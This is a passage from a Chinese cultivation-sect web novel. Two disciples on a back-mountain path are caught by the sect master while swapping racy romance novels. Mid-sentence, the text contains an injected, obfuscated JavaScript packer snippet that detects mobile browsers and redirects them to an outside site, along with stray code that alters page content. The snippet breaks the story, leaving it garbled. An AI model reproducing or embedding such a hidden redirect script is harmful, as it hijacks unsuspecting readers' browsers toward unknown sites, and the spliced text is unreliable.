钟恒也不想再留在这,跟着起身道:“我同你一起走,师弟。” 这对师兄弟准备一起离开的同时,另一边,白翀和兰则安这对师兄弟已经走到了千秋山的后山,打算沿小路回去。 最近宗门大比,弟子都聚集在擂台四周看热闹,很少有人来后山,这里也就跟着安静了下来。 山径蜿蜒曲折,被繁茂的枝叶遮住,不走到跟前,就看不见后面的风景。行至枝桠低矮的地方,两人还需弯腰才能从下面走出。 “师兄,平日里走这条路的人也不多吗?”兰则安好奇问道。 白翀笑着回他:“对啊,这条路虽然清静,但绕太远了,很少有人愿意浪费这个时间,他们大多都会用一些小型传送阵法、或者乘坐仙宠。” “我看师兄倒是对这条路很熟,应该是经常走的样子。” 白翀一口答应下来:“那是,这边安静,我时常会来这里看书。” 兰则安随口一问:“那平日里师兄都会看些什么书?” 白翀拽住他的胳膊,虽然四周没人,但他还是凑在兰则安耳边问他:“你呢?你都会看些什么书?藏霄仙尊可有管过你?” 兰则安觉得古怪,却也是一五一十告诉他:“师尊从来不过问我都看了哪些书,也不管这些,书房里的书我都是随便看的。不过我主要还是看那些与剑道有关的书,偶尔还会看些游记食谱之类的杂书。” 白翀看他一脸正气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875606|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,就有些不好意思了:“那,那你有没有看过……” “看过什么?”兰则安见他含糊半天也没个下文,不禁主动问道。 白翀眼睛飞快扫过四周,才小声说道:“就是那种书。” “那种书?哪种书啊?”兰则安起初还没明白,但刚说完就想起了书房藏着的那本放浪形骸的彩绘。 两个全身裸着的男子,紧紧相拥。 兰则安的脸一下子红了个彻底,语气也跟着急了起来:“光天化日之下,师兄说这个好像不大合适吧!” “我……我以前都是一个人在这里偷偷看的,之前去山下的书肆买书,瞧着这些名字有趣,便捎回来了,看了几本觉得挺有意思。”白翀也有点难为情,“主要是那些书名听着太过大胆,我也不敢跟旁人随便提起,担心坏了我们妖族弟子的名声,所以才想着来问问你。” 兰则安却是被另一件事吸引了注意,不由得追问道:“你看的那些书还有名字呢?” 那种书也会有名字吗? 如果有,该起个什么样的名字呢? 白翀说书名大胆,想来多半会是一些淫词艳语吧。 “我储物戒里刚好放着两本新的,你看看。”正当兰则安思考时,白翀递过来了两本书。 兰则安瞧见书名,没有第一时间接住,而是犹豫着说:“这名字……不妥是不妥……” 但也不是他想的那样。 果然,白师兄怎么可能会是那种孟浪之人。是他自己,想多了,还误会白翀跟他一样。 兰则安脸颊发烫,干巴巴地开口:“师兄,我觉得这书——” “你们二人因何一直站在这里?”他们身后,陡然响起了一道温和的男中音。 咦,这声音……好熟。 糟了!是宗主!!! 两人脑子一激灵,拿书的书没拿稳,接书的书没接住,只听“哐”的一声,两本书一前一后掉落地上。 师鹤语站在他们对面,身边还有五峰峰主、并着褚漫川,一共是七人。 七人都在看他们,也都看见了那两本书。 兰则安心如死灰地闭上双眼。 此时此刻,他的脑子里只有一个想法。 他想从这里跳下去。 只要跳下去,就什么也不用面对了。 而那罪魁祸首,这两本书也是凑巧,一本掉在白翀脚尖,一本正好掉在兰则安脚背上。 一前一后,书名依次是: 《霸道师姐的小娇夫》 《清冷师尊就宠我》